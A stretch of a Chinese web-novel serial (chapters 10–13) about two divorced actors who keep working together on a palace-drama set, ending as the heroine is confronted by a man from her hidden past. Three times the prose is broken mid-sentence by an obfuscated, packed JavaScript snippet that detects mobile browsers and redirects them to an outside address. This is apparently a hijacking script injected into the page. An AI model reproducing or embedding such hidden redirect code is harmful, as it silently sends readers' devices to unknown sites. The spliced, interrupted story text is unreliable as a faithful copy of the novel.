按常理来说,拥有这样一部大爆且得奖的出道作,演员应该感到十分荣耀才对。 不过他这位前妻,一向都不按常理出牌,脑袋瓜里不知道都装了些什么神奇东西。他都已经习惯了。 江煜显然不了解这一点,还是很热情地聊她出道的电影,看得出是真心喜欢。 在他心里,云灯就是一颗熠熠生辉的星。 成名之路如叶平川,也是从上大学拍专业课作业和广告短片开始,慢慢地积累经验和名气的。 云灯却不同。她是横空出世的一颗星,此前没有任何人知道她的名字,却在发光时,毫无预兆地惊艳所有人。 “我看报道说,你是在港市读的表演专业。”江煜好奇道,“直接考港影好像很难,是做交换生去留学吗?” “是高中过去的。”云灯说。“我小时候家里条件没那么好,上高中还得自己兼职挣生活费呢。” “真的?!是便利店里的那种兼职吗?我有在国外读研的朋友也是一边上学一边打工的。”孟瑜不可思议道,“但是真的很难想象诶。” 她看起来完全像是有钱人家里富养出来的女孩。 原来是长大后有了能力,才又把自己富养一遍吗?那更厉害了。 云灯接收到两道崇拜的目光,“讨生活嘛。我还干过游戏陪玩呢,每天熬夜到两点钟接单,梦里都在打怪开团。” “哇!那你操作一定很厉害!” “还好啦,小国标轻松的。” “哇!!” 叶平川吃得差不多,靠在一旁安静地看她跟人说话。 这套说法也是他听到的版本。但经过离婚时的“摊牌”之后,他对云灯的话就存了疑影。 或许其中是有真实的成分。但占了多少呢? 起码能肯定,不是全部。 其实他很早就知道云灯没说实话。上学和工作里,他相处过一些家境普通的同学同事,坦白说生活习惯以及认知差异是客观存在的。 恋爱时同吃同住,他每天都跟云灯待在一起,怎么会看不出来。她的家庭条件不可能像她自己说的那样差,网上那些赞她“从底层一跃而出的新星”“宛如一朵坚毅小白花”的通稿,多半也是经她之手润色过的。 她有意隐藏过往。 但如果心里藏一些秘密,会让她更有安全感,那么他也不急于追根究底地盘问。 他总以为婚姻很长,还有足够的时间能让她愿意袒露心扉。 万万没想到,原来结了婚还能离呢。 哈。 生活总是比想象中更幽默。 感冒没好利索,云灯还吃着药,没法儿喝酒。小助理专门买了柠檬苏打给她,在地上的购物袋里找了一圈都没找着,就又叫了个外卖。 外卖敲门时,叶平川起身去拿,回来位置已经被占了。几个人围坐在地毯上,不知从哪里找出两副扑克牌,开始玩斗地主。 云灯算牌也是厉害,连坐几庄,把每个人的出牌习惯都摸透了,开始有意地控场。 叶平川玩了两圈就知道她想干什么,默不出声地配合。 玩不到俩小时他就输了小一万,打开一个一个给人转账,顺势加了江煜和孟瑜的微信。 俩小孩不明所以,还在那嘎嘎乐呢,“谢谢叶老师的红包!哈哈哈叶老师你今晚手气好差!” 梁天好歹当了几年打工人,不至于跟这俩一样傻。 叶平川牌技哪有这么差。 清算下来,是他们三个赢,叶平川自己输。云灯不输不赢。 这结果,必是老板计算好的福利啊。打工人愉快地接收了。 “不能再打牌了,等下叶老师要输得倾家荡产。” “那我们打游戏吧,时间还早呢。叶老师肯定也会打!正好我们五个可以组队开黑!” 在酒精和红包的双重作用下,两人不再绷着了,开始跟叶平川嘻嘻哈哈。 打牌输了钱,打游戏就不能再落面子。叶平川操作秀得飞起,一带四不成问题。 云灯舒心地在他身边挂着划水,听那对兄妹大呼小叫,全当白噪音,半闭着眼睛放松休息。 江煜和孟瑜两人玩得兴奋,完全没注意到如此火热的战斗氛围里,旁边居然有一位玩得快要睡着。 直到孟瑜讲起学校里的传闻,江煜也抖出公司内幕吐槽,她才瞬间打起精神来听八卦,间或趁叶平川不注意,偷偷抿两口小酒助兴。 要不怎么说呢,一个被窝里睡不出两种人,叶平川也爱听八卦。聊到后来游戏也不打了,一人一把焦糖瓜子,接过来就嗑,瞬间很接地气。 下酒菜还有不少。边吃边喝,江煜讲起自己出道前激烈的竞争,讲怎样从公司黑幕和队友陷害里杀出重围,呜哇一声就开始抹眼泪。 孟瑜拍着他的背,很能共情地安慰,“别难过哥!你现在是将军了,那些小人现在谁有你厉害啊!” “就,就是。我都跟云灯一起拍戏了!”他满脸通红,躺在地上大笑,“家人们谁懂啊,我这种货色也有今天!哈哈哈!” 云灯包容地点头说谬赞,顺手往他脑袋底下塞了个靠垫。 “如果有一天,我也可以当上影帝的话……嘿,嘿嘿嘿。” 他望着天花板,喃喃地说着醉话,“叶老师你说,我还要多努力,还要多久……要怎样才能当上影帝呢?” 叶平川不吝赐教:“你再多喝两瓶比较快。” “别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这会儿他一点也不像叶平川,更像谢凭渊。 严肃的,生气的谢凭渊。 云灯被冻得缩了一下肩膀,自己拿出房卡,低着头,犯错似的语气很有些低落。 “只是想跟你玩一下。”她小声说,“不要不开心了啊。” 叶平川凝视她几秒,兀地伸手掐住她的下巴,迫使她抬起头来。 “觉得让我摸你两下就能开心了?”他咬牙道,“我都不知道,自己原来这么下贱。” 这种话从亲密的人口中说出,总是能轻易地刺痛耳朵。云灯被迫和他对视,眼睛睁大了些,逐渐有泪水聚集。 “都说了是玩的……是开玩笑的!你这么认真干什么!”她没想到叶平川是这个反应,被下了面子,自己也生气起来。 不然能放在哪里?她裙子外面没有口袋,也没有背包,里面除了内衣就是内裤,相比之下,“还是塞内衣里比较容易接受吧?” “……” 她好像真的有认真思考过。 “有没有一种可能,你不用非得自己带在身上,还可以交给我保管。”叶平川无奈道,“我替你拿着不行么?” “……哦。”云灯眨了一下眼睛,晶莹的泪滴露水般挂在睫毛上,显得脑子很清澈,“你说的也有道理。” 她酒量差得很,好在有自知之明,谈正事的饭局上从来不喝酒。偶尔想放松一下倒是无伤大雅。 叶平川是知道的,也知道她这会儿上头了正在犯迷糊,只是怎么瞧都不顺眼,终于忍不住伸手,把她敞开的襟口狠狠往上提了一把。恨不得直接给人拉成半高领。 无法呼吸。 她不由自主地跟着踮脚,往上蹿了一下。 叶平川这才笑了,指腹拭去她摇摇欲坠的泪滴,“蹦什么蹦。”小兔子似的。 她好像知道自己很可爱,也歪着头笑了一下。 “你放心,我不和别人这样玩的。”她捂着快被扯坏的领口,真诚地保证。“我只是想逗你笑一笑。” “如果你不开心,我也会难过。” 11. 第 11 章 漂亮女人的鬼话不能轻易相信,喝醉时尤是。 叶平川说,“你前几天躲着不见我的时候,怎么没想过我开不开心?” 他想到云灯会说“我太忙了嘛”,或是“怕会打扰你拍戏”。冠冕堂皇,都是她惯用的借口。 他不可能再被轻易糊弄过去,打定了主意要不屑一顾,要嗤之以鼻。 但当云灯用一双难过的眼睛看着他,心里那点预防就又在动摇。 “因为我还没有想好,”她的声音越来越低,“要怎么面对你。” 离婚又不是一个人的事。 要从对方的眼里看到相同的苦痛和迷茫,才能甘心承认自己。 “我也很不安。不敢联系你,更不敢跟你见面,害怕又吵起来,说一些伤人的话。万一彻底闹掰了怎么办?那我以后就再也见不到你了。” 她只差把那句话说出来—— 没有见面的日子里,其实我也很想你。 意思表达得真诚到位,明显比之前的小花招更有效。 她看着叶平川在沉默中一点点动容,最终妥协般咬了一下牙,下颌紧绷着,握起她的手刷了房卡,“进去再说。” 云灯亦步亦趋地跟着他。进了房间,又扯着他说,“再抱一下嘛。” 叶平川不理她,大阔步去沙发上坐着,一脸冷傲。 她也不放弃,再接再厉地坐到他身边,脚也从拖鞋里溜出来,缠过去,歪着头看他,“抱抱。” “……” 叶平川听不了她这么黏黏糊糊地说话,很不情愿地把她掐着腰拎起来,放到腿上。 云灯小小地欢呼了一声。两人上半身瞬间贴到一起,带着酒热,完全放松地把自己的重量,全部压在叶平川身上。 “你是不是觉得很好玩?”她看不见,叶平川还冷着脸。“气气我,再哄哄我,很有意思是吗。” 为什么她可以这样游刃有余? 哪怕是带着醉意胡乱行事,也会不动声色地藏一些目的进去。 “我只是想逗你活泼点。” 她叹了口气,用担忧的口吻说,“这次见你,总觉得你心思变沉了,好像压着什么。是因为我吗?是不是我把你变成这样的?” “对不起啊。你明明是个很开朗的人,现在看你都不怎么爱笑了,我心里也非常的难受。” 云灯说,“我知道提离婚很自私,对你很不公平,如果以后你有需要我的地方,我肯定也会帮忙的。我希望……你不要因为我,变成一个容易不开心的人。” “没有。”叶平川说。 “真的吗?” “不管结婚还是离婚,还是来这个组,都是我自己做的决定。我从来不会为自己做的决定后悔。” 可还是会不开心的吧。 “或许我们只是不适合当夫妻,不代表以后再也玩不到一起。” 云灯乐观道,“就算没办法当一家人,我们也可以做关系很好的朋友对不对?” “……” 叶平川没有回答这句话,心里觉得她是在异想天开。 但是她说完以后,自己先露出满足的表情,“我觉得可以的。” “朋友聊天需要坐腿上说话吗?”叶平川说,“可能是我见识少,反正我老家那边跟朋友聊天不这样。” “那就最后一次。”云灯抱着他的脖子,头也不抬。“以后不这样了。” 近几个月他都有认真锻炼,大腿肌肉放松时又软又厚实,坐起来很舒服。她还没坐够呢,不想起来。 她的保证可信性不高。不过叶平川也没跟她计较,陪她安静地坐了一会儿,听呼吸能感觉到,她正在慢慢睡着。 “叶平川。”她闭着眼,忽然又梦呓似的嘀咕,蹭着他的耳朵,“你知不知道,我很早就见过你?” “有多早。” “在我们拍电影之前。” “看过我在学校拍的片子?还是参加什么活动的时候。” “不是的,比那些都要早……” 声音越来越模糊。等她睡熟,叶平川把人抱去床上,又去浴室打湿毛巾,给她擦了擦脸,手和脚。 朋友么,当然也没有帮忙洗澡的义务。 叶平川自己洗干净躺下,没过几分钟,手机里收到父母度假的照片。大半夜的连发十几张,半点不管他死活。 他回了个已读躺平的表情包,顺手浏览发小群的消息记录。群里两个小时前还在聊到他。 【邵深:都快到年底了,影帝怎么还没杀青?随便鸽我们酒局是会半夜尿床遭报应的】 【林宵:听说是忙着去陪老婆~】 【邵深:那还算情有可原,撤销一个报应】 【程沐风:深情小马哥】 【林宵:深情小马哥~】 【邵深:深情小马哥~~~】 叶平川:“……” 发小们也没管他死活。 云灯自顾自地深睡。他摆弄了会儿手机,心思不在上面,没多久就关了灯躺进被窝。 离婚后这几个月,他整个人是从未有过的浮躁。 心里烦得很。具体烦什么也不清楚,反正每天睁开眼睛就是烦。 生活确实给他上了一课。但只是开考,没给答案。他并没有因为离了次婚就脱胎换骨,顺便参破许多道理。只是增添了理不清的惶惑。 过去二十多年的顺遂人生里,叶平川从未遇到过这种类型的难题。 在外人眼里,他拥有和谐美满的家庭,有几个感情深厚的发小,还有甜蜜幸福的婚姻。亲情,友情和爱情,这个世界上人类所向往的美妙的情感关系,他都得到了—— 可惜最后一项现在要被划掉。 他在南江长大。那是个二线城市,生活节奏不快,父母希望他有普通的快乐的童年,没有送他去读什么贵族学校。但他很小就知道,自己家里条件比同学们优渥很多。 合理范围内,他想要什么都能得到。因为愿望总是很轻易就被满足,他反而物欲很低,很少有非要不可的东西。 与之对应的是,但凡有了一样,他就必须立刻,马上,眼都不眨地揣进怀里。 结婚也是。他并不觉得闪婚有什么不妥,只要动了那个念头,当然是越快越好。 在南江的家里,他有一层独属自己的收藏室。里面罗列着他从出生起,每一个“非要不可”的节点里得到的,对他而言十分宝贵的收藏。 在他年纪很小,还没有记忆的时候,是父母代为收集的。出生后剪断的胎发、抓周时被他抱着不放的奖杯、还有最喜欢的安抚奶嘴——到现在上面都还带着他的牙印。被父母强行戒断时他倔强地连续含着十几个小时,打死都不张嘴,咬合力不亚于一只成年鬣狗。 六岁第一颗乳牙脱落,他拥有了明确的自我意识和判断能力。知道对自己而言什么是“重要”和“珍贵”,知道追求自己想要的,能带来怎样的满足。 从那之后,他的收藏空间连父母都很少再进入,只对自己开放。 那是只属于他的秘密基地,他的个人成长博物馆,也可以称之为叶平川人生走马灯极速版。 他当然会带云灯去参观。沿着时间顺序,他把已经度过的生命中,一切堪称重要的东西,都和她分享。 一起走完全程,再亲手把结婚证摆在最末的展台上。 照灯光圈里的红色很美。直到今天,那本小册子依然在为他珍藏的宝贝们收尾。 他甘愿毫无保留地袒露自己来到这个世界上的每一天,做一个坦率的赤诚的爱人。 可是云灯并没有这样对他。 “——抱歉,我必须承认。” 叶平川仍记得那一晚她的声音。 电闪雷鸣里,她的嗓音润得像杯温水,从容地流淌出残忍的话。 “从一开始,我接近你的目的就不纯粹。” 转眼大半年过去。深夜寂静得只能听见彼此的呼吸,叶平川翻了几次身睡不着,撑着头起来看她睡觉。 这么漂亮的一张脸,怎么看起来却有点可恨呢。 他不相信云灯那晚的话。更确切的说,是不完全相信。 如果她很久之前就在说谎,那么一定要跟他离婚的那个晚上,亦不见得就全然坦诚。 他也不相信云灯真是为了炒作,提升名气才跟他在一起,假戏真做后又感到厌倦。 如果是为了名利,考虑更长远的发展,她应该更积极地维持这段婚姻才对。除非是想借离婚搞个大新闻——也不可能。如果是,她就不会在离婚时主动要求保密。 真相是水中捞月。她的心思太难捉摸。 云灯对面他翻了个身,踢开被子,无意识地抓手臂上的红疹。 叶平川回过神,拉开她乱抓的手。看她痒得睡不好,索性把她的手臂拉到自己身边,放轻力度帮她拍拍疹子缓解。 云灯在睡梦中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071693|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很自觉地,整个人跟着挪了过来,依偎着他。 拍着拍着,叶平川又觉得,她未免也太放心他睡在旁边。 其实这也说得通。人只有没感觉了,才会觉得可以当朋友。 或许是他想得太复杂。真相是云灯早就告诉过他的,只是他自己没办法接受。 于是那张甜睡的小脸又变得可恨。 叶平川尤不甘心,俯身抵了一下她的额头,低声道,“真的一点也不想要我?” 他的头发偏硬,蹭到脸上刺得慌,云灯皱着眉摇头。 连梦里都在躲。 叶平川这夜没怎么睡着。 天亮后云灯睡醒,一眼就瞧见他脸色发白。 “你又吃药又喝酒,不盯着你,万一半夜呼吸骤停猝死在床上,”叶平川说,“我不成犯罪嫌疑人了?” 甚是有理。 云灯感动道,“多亏靠谱的谢大人保我一命。” 叶平川哼了一声,翻身下床。没提前一晚说过的话。 她也没提。 但又有一些变化,确实地发生了。 一起吃过火锅后,叶平川跟剧组同事们的关系明显融洽了许多。 喝过酒唠过嗑,谁还不是老大哥。江煜逐渐放肆起来,在片场时不时能看见他搭叶平川的肩膀叫川哥。 叶平川想不跟小孩计较,勉为其难地接受了。 云灯因为被他当面蛐蛐“故意躲着我”,痛定思痛,每天上班之前都会先去隔壁敲门叫早—— 谢大人起床啦,速速和我一起上朝! 叶平川有时候上午没戏,也会被她早早地吵起来。睡眠不足时常有种自己给自己挖了坑的感觉。 喝了酒之后说的话,云灯大部分都记得,但太困时说的就不怎么有印象了。 反正从那天晚上以后,叶平川没再动不动就摆出一副阴郁男鬼的作风,鼻子不是鼻子,眼睛不是眼睛的叫人无所适从。 她就默认自己是抓准时机把叶平川哄好了,暂时可以放心地拍戏。 这天是拍两人在藏书阁里的戏。 上次她和谢凭渊吵架,机缘巧合得到了藏书阁的通行令牌,可以自由出入,阅读案宗卷籍。 看到真正的民情记录后,她才知道,原来推行一项政策的过程这么复杂,真正落地时困难重重,有时会跟设想的效果相差十万八千里。才晓得自己想当然的青涩幼稚。 再见面时,谢凭渊看破她的尴尬窘然,却并没有嘲笑奚落。他压根就没提起上次吵架的事,又说起另一个与时政相关的,她感兴趣的话题。 谢凭渊不把她看作不谙世事的深闺淑女,而是一名可以畅谈古今的……小同僚。 这对言秋而言,是件十分稀罕且有趣的事。 将军府中推崇习武,两个孩子也都对诗卷史书没多大兴趣,她平时在家里,没人可以一起谈论这些。 不知不觉中,她跟谢凭渊待在一起的时间甚至超过了段婉心。 亦师亦友的情感让她上瘾而不自知。她每日午后都要来藏书阁逛逛,如果偶遇,就可以与他畅谈两个时辰。 偶尔她也会在这里写一些诗文。午后窗边清风徐来,她伏在案前睡着,脸上映着杨柳拂动的光影,手底下墨迹晕了一大团。 谢凭渊站在窗外,含笑看着她,爱怜的目光抚过她的发顶,隔窗去拿她手中的笔。 皓腕凝雪,即将相碰的手指浅浅错开,不留一丝痕迹。 他的品性不允许他做出任何逾矩的事。但是有些遗憾吗?谢凭渊伫立在窗外,久久不愿离去。没有叫醒她,连呼吸都放轻,甚至不满枝头的鸟鸣。 半晌,谢凭渊又伸出手,拿起书案上被她揉皱的一只纸团。展开来看,原来画了盏兔子灯。 元宵灯会,初见的倩影又晃动在眼前,与熟睡的少女重合。 谢凭渊不语,只是把画纸折好,珍视地收进了袖子里。 这场戏拍得很顺利。没有一句台词,却有全剧第一次点明感情倾向的重要镜头。暧昧得刚刚好。 提前收工,导演说请吃下午茶。云灯也挺开心,跨过满地的设备线,去拉他的手,“走啦。” 叶平川在看刚才拍的镜头,明明余光里注意到她过来,却轻巧地避开。 见她怔了一下,才用平静的语气说,“既然要当朋友,有些事我觉得有必要说清楚。” “我不喜欢别人随便碰我。朋友也不行。” 12. 第 12 章 “喔,可以理解。”云灯很快就反应过来,神色如常道,“但是也要注意场合。免得被大家看出端倪,又要传我们夫妻不和。” 离都离了,还怕夫妻不和? 叶平川点头,“就是要像你一样,只嘴甜不过心对么?明白了老婆。” “……” 导演在不远处打手势,叫她,“言秋来一下!” “来了。”云灯留给他一个好自为之的眼神,去找邓晓琼。 “怎么了?” “谭雪舒要提前进组。” 怕她记不得人名,邓晓琼又说,“就是那个演尚宫的女孩。出品方那边说给她加戏,让她提前过来加拍个人剧情。” 云灯有些意外地点头,倒没什么意见,“钱给到位就可以。” 加戏也不全是坏事,适当的拓展能让角色更丰满。她剧里的女性角色高光本来就很多。 她意外的是,印象里谭雪舒签约的经纪公司资金规模不大,艺人没几个,都不太红。看来是准备押宝在这个女孩身上,力捧新人了。 “你倒不担心。”邓晓琼笑着打趣,“就不怕她大放异彩抢你女主风头?” “都说是女主了,还能让别人抢掉风头?那我也太拉了吧。”云灯说,“这么多年难道都白干了。” 一片草地上开一朵花,再美也没什么意思。 要看就要百花争艳,各放光彩,再从中脱颖而出。 “很有底气,不愧是你。”邓晓琼朝她竖起个大拇指。“那我就叫跟组编剧先给她补充人物小传。今天晚上开会看拓展剧情怎么写合适,也不能硬加,要拍就拍得好看。” “行。”云灯说,“晚点人物小传也发我看一下。” 她原本就很喜欢尚宫那个角色。言秋进宫后与其对手戏很多,彼此关系和情感的变化颇有看头,起初是想留给孟瑜的,但试镜之后感觉不太贴合,才换了别人。 这个组里除了孟瑜,其它主演都是她和导演精心挑选过,演技过关的演员。就连那个暗卫哥也是,演技大于人品许多。 这就导致孟瑜虽然得到了珍贵的学习机会,但在组里常常吃力。跟其他人的差距有些明显,偶尔接不住戏,需要云灯和邓晓琼一起帮忙梳理引导。 她自己也很着急,云灯又太忙了,于是下戏以后总会再去请教江煜。 江煜业务能力比她强,但同样也不是科班出身的演员。跟他可以一起讨论,一起琢磨演技,而不是被居高临下地教导,还要被鄙视舞蹈生的身份。 两人的关系因此越来越亲近。 云灯看在眼里,没有干预。 剧情继续发展,远来查案的四人小分队各有收获。 谢凭渊元宵灯会或遭人暗算,阴差阳错地在这个偏远县城里找到了线索。 更阴差阳错的是,受审的嫌犯里竟有先皇后母家的旧臣,无意之间见了言秋一面,惊恐之情如遭雷劈。 只因她的面容,酷似先皇后。 先皇后怀孕时已知自己怀的是女儿。为保母家的尊荣和皇后的宠耀,她联络宫外亲族暗中筹谋,在生产之际从宫外抱来一个男婴,偷梁换柱。 只是不曾料到自己会难产,血崩而亡。 谢凭渊和段长骁,都被这意外得知的秘辛震撼了。 倘若消息属实,那么当今太子便非陛下血脉。 这可是动摇国本的大事。 是但凡知情者,便要担心自己被暗杀的宫廷丑闻。 然而段长骁心大得很难评价,还在那里庆幸,“甚好甚好。说来不怕你笑话,我跟妹妹从前还怀疑过言秋,疑心她或许是父亲在外私生的女儿。要不家里怎会待她这样好?吃穿用度都与旁的侍女不同。” 谢凭渊眉间沟壑愈深,“这么说,令堂也知情?” “应是不知吧。但他们肯定能看出嬷嬷的身份,猜到言秋是从宫里抱出来的,或许是哪位受冷落的贵人和侍卫的私生子,心存不忍也就留下了。” 段长骁盲目乐观,“现下这样,我虽也忧心她安危,可这心里,其实还松了口气。” 全家都有危险了还在乐观。谢凭渊瞧他像瞧傻子,“松了口什么气?” “诶呀,就是那个事。”段长骁俊脸一红,八尺男儿少见地扭捏起来。 “我已有战功,尚公主郡主尤可。若我与她……” 话未说完,便谢凭渊不假思索地打断,“此事需得三思而后行。” 言秋的身世牵连甚广。 一国公主竟被掉包,皇帝若认回她,必然要废太子。如此儿戏,岂非成了全天下的笑柄。 若皇帝不认,那她就永远只是个身份卑微的侍女,如何当得了将军府的女主人。 “可言秋你是知道的,她是个多好的姑娘啊,怎么能用身份尊卑下定论?” 段长骁大为讶异,“慎远兄,你看起来不像是这种人。” “我只是就事论事。”听起来毫无私心,谢凭渊正色道,“你的父母不会允这门婚事。你必须得认清现实。” 他虽得了将军的封号,风头正劲,可父母高堂犹在,婚姻大事是由不得自己做主的。 以言秋现在的身份,给段长骁做侍妾都艰难。更别说未来他若再立战功,封侯拜相,身份悬殊,更不可能。 正因为知道言秋是个怎样的姑娘,了解她的心性,和她向往的自由广阔。谢凭渊更不赞同这门亲事,“你若强娶她,便是害她。” “我永远不会害她!”段长骁气性被挑起,斗志昂扬。 “你且看着吧,我一定让她成为将军府未来的女主人!” 这场戏拍得味儿特别正。 叶平川给的压力很够,江煜也接得住。少年人眼眸亮如星,无畏且赤诚。尤其是知晓后来剧情的人看这段,有种向命运挑战的悲壮。 抢老婆的气氛很对,不知道是不是带入了点私人感情。反正拍完戏之后两人的表情都挺复杂的,看似还没出戏,实际心里都想了些什么,很难说。 云灯当时不在,在片场听到旁人胡乱联想地闲聊,觉得挺好笑。 她知道叶平川即便有点不高兴,也只是嘴上发发牢骚的程度而已,并不会真的放在心里计较。他身上有自信和松弛的底色。 要是随便一个什么人来,都能让他如临大敌地搞雄竞,那她当初就看不上,更不会跟这种性格的男人结婚。 江煜自知夹带私货,那天拍完戏剩下的时间都不太敢直视叶平川。 不过他很善于自我开导,隔天就又好了,中午休息俩人还一起研究街摊上的道具,不顾形象地蹲在那儿,看烤地瓜炉是不是真的能烤出地瓜。 孟瑜看见他俩在那捣鼓,说,“叶老师人还挺有趣的。” 云灯:“现在不高山仰止了?” “嘿嘿。”她不好意思地笑了一下,又问,“我听说今天会有新人进组?是谁啊。” “谭雪舒。”云灯正准备回车里换衣服,想想又转头多说了两句,“虽然你跟她没有对手戏,但等剧集播出大概率是会被放在一起比较的。要做好心理准备。” “唉,我知道她。”孟瑜服气地说,“是演最开始我试镜的那个角色吧?我现在还把握不住那么复杂的人物。到时候观众肯定要说我演技没她好了。” “你跟她风格不一样,把自己的角色魅力演出来,不一定就比她差。” 云灯叮嘱道,“在组里见到正常相处,别较劲,也不用太让着。免得被拍到什么,乱写你们关系不和。” “明白!放心吧老板。”孟瑜笑道,“我跟你学着呢。” 面试时知道云灯是boss,她本来都捏着把汗。因为云灯爆火的出道作里演的恶女形象深入人心,她难免被角色影响,害怕老板不好相处。 但实际上云灯笑语怡人,亲和又周到,是容易让人心生好感的性格。她跟着也见识了不少。 交代完她,云灯回车里准备自己的。没多久,叶平川玩儿够也回来了,兴致勃勃地上车就说,“那个炉子应该真的能用,晚上生火烤几个试试。” 见她洗完头换了衣服,又问,“你要去见人?” “嗯。就在酒店旁边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071694|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐厅里简单吃个饭,不耽误晚上拍戏。” 云灯说,“有新演员进组,我去接一下。” “什么人啊?值得你亲自去接。” “是个还在读大三的女孩,第一次进组演长剧,怕她紧张。” 叶平川点头说知道了,想跟她说要早点回来,别影响晚上拍戏的状态,又觉得没必要。她对自己的戏最上心。 餐厅里的位置是提前订好的,她已经发给了谭雪舒的经纪人。第一次进组,经纪人必定会陪同。 提前半小时抵达餐厅,云灯先去了趟洗手间,想着顺便把刚晾干的头发梳顺,再补个妆。 没想到,她会在这里遇见谭雪舒。 洗手间的化妆镜前,谭雪舒也正在补妆。从镜子的反光里见着她,愣了一下才笑,“云灯姐,你来啦。” 云灯也笑起来,走到她身边,虚虚地抱了她一下,“对呀,刚下戏就过来了。怎么来这么早?” “嗯,我反正……待在酒店里也没什么事情做。”她说,“所以想着,不如早点过来找你。” 云灯就站在化妆镜前跟她说了几句话,心里有些困惑。 谭雪舒的初次面试和现场带妆试镜她都在,当时看着这姑娘,不说光芒万丈,起码也是落落大方的。 今天明显紧张,且有些神色郁郁,状态不佳。 “对了,你的剧本有调整过,我觉得现在这版更出彩喔。你的戏感又好,肯定会驾驭得很棒。诶,好多事想跟你说呢。” 云灯柔声安抚,给她定心,“先去座位上等我一下,我马上就来。” 谭雪舒安静地点点头,走了出去。 云灯留下来补妆,找手机看了眼导演的微信。 邓晓琼不仅是导演,也同她一样参与了制片。如果有特殊情况,消息比她更快也说不定。 但微信里风平浪静,并没有异常。 她又理了理头发,补好口红走出去,才发现谭雪舒并没有离开,还在洗手间外面等她。 年轻漂亮的女孩永远惹人注目。谭雪舒性格内敛沉静,黑长直的发型很配那一张清冷秀美的脸。身影瘦削单薄,只是安静地站立,就让人向往,想要深入她的内心一探究竟。 不知为何,云灯看着她,乍然有种难以言喻的熟悉感,莫名地知道,她并不像表面那样平静。 有一股极强的力量在拉扯她的心,台风般席卷,摧毁。而她站在台风眼的中央,才有这样平静的假象。 半年前还不是这样。 除了试镜,谭雪舒跟她私交很少,也未曾吐露过心事。 但她就是……知道。看一眼就知道。 在这个瞬间,云灯忽然想到了不对劲的地方。 演员已经进组跟她打上照面,经纪人却没给她打一个电话,发一条微信,哪怕只是简单地传达人已经到了。一句话都没有。 但谭雪舒就在这。只要人没出事就好,其他问题都可以商量解决。 忽略心里隐约不安的预感,云灯朝她笑了笑,一起去找座位。 谭雪舒落后半步跟着她,沉默得令人不安。 只是顿简单的接风饭。她不想搞得很隆重,反而让人拘束,便没有订包厢,只选了大厅里靠窗的位置。 她也是第一次来这家餐厅,对布局不熟悉。大堂经理热心地为她们指明方向,“云灯女士,您预定的座位在这边。” “看到了,谢谢。” 她自然地道谢,顺着经理指的方向走,转过半扇屏风,从容的笑意僵在脸上。 血液冻结的声音。 餐厅里的光源一盏盏地熄灭,阴影迅速淹没她身后的女孩。刹那之间黑暗吞噬了所有,只待蚕食她脚下的一点点余地。 往前走,或往后走,都会吞没她。 云灯没有停下脚步,机械地往前走,望着那双琥珀色的眼睛。 微笑的眼睛。温和至极,却布满暗涌。 “潘云灯。” 男人独坐在她的卡座上,调整领结的姿势优雅而绅士。 “好耐冇见。” 13. 第 13 章 晚上的戏,云灯破天荒地请了假。 饭倒是没吃多久。但她觉得自己整个人的心情,精神,乃至人格上都受到了严重伤害。 去了片场也只能拍出废片,何必白跑一趟浪费时间。 她早早地回房间,关掉手机重新洗了个澡,开着暖气坐在窗边吹风。 怪只能怪她自己,当初面试谭雪舒时没有做更深入的背调。 以那人的手笔,为了包装捧红爱宠,专门再给开个经纪公司也是随手的事。 席间他们并没有说起什么往事。谭雪舒甚至没问两人的关系,之前是否认识,只是安静地坐在他身边吃饭,乖顺得有些游离。 路灯下,一辆挂着港牌的黑色丰田停在酒店侧边马路,熟悉得她不用下楼就念得出车牌尾号。 车窗半降,正对着她的房间。 房间里一片漆黑。云灯坐在窗帘后,复盘自己的表现,以及要做的后续应对措施。 她确信自己没有惊恐慌乱,但对上视线的那个刹那,心里下意识的还是想要逃跑。脚步僵滞得像被泥沼陷住。 这让她对自己很不满意。 晚上对手戏搭档缺席,叶平川一个人能拍的内容也很有限。 他提前下了戏,回酒店洗完澡就过来,抬手正准备按门铃,心里咯噔一下。 她连门都没关严,大晚上居然只是虚掩着。 门缝里没有光透出来。叶平川不确定她是正睡着,还是外出忘记把门锁好,拧着眉毛敲了敲门,抬高声音道,“是我。” 房间里没有回音。 他推门进去。满室晦暗,云灯坐在最里面的窗沿上,仅穿着极贴身的吊带和短裤,被昏沉的月光一照,薄得像窗帘上的一片绣影。 云灯朝他扬起手里的烟灰缸,作势要砸。下一秒,他打开了壁灯。 骤然亮起的灯光刺眼得过分,云灯啧了一声,松开手捂住眼睛。烟灰缸掉在她脚边的地毯上,发出沉重的闷响。 叶平川反手关上门,进屋捡起来随手放茶几上,“都听见是我了你还要扔?” “奖励你吓我一跳。”云灯指间还夹着烟,捂眼睛有缝,适应了一会儿才放开。 “怎么自己躲在这抽烟?” “还没抽呢。”她眯起眼,屈指把整根香烟弹进烟灰缸里,一击即中。 她露出笑,像只傲娇小猫,“从小天包里偷拿的,可别告我的密。” 窗沿窄,也就她能坐得上去。叶平川站在她旁边,俯身弯下腰,用手试了试她额头的温度。 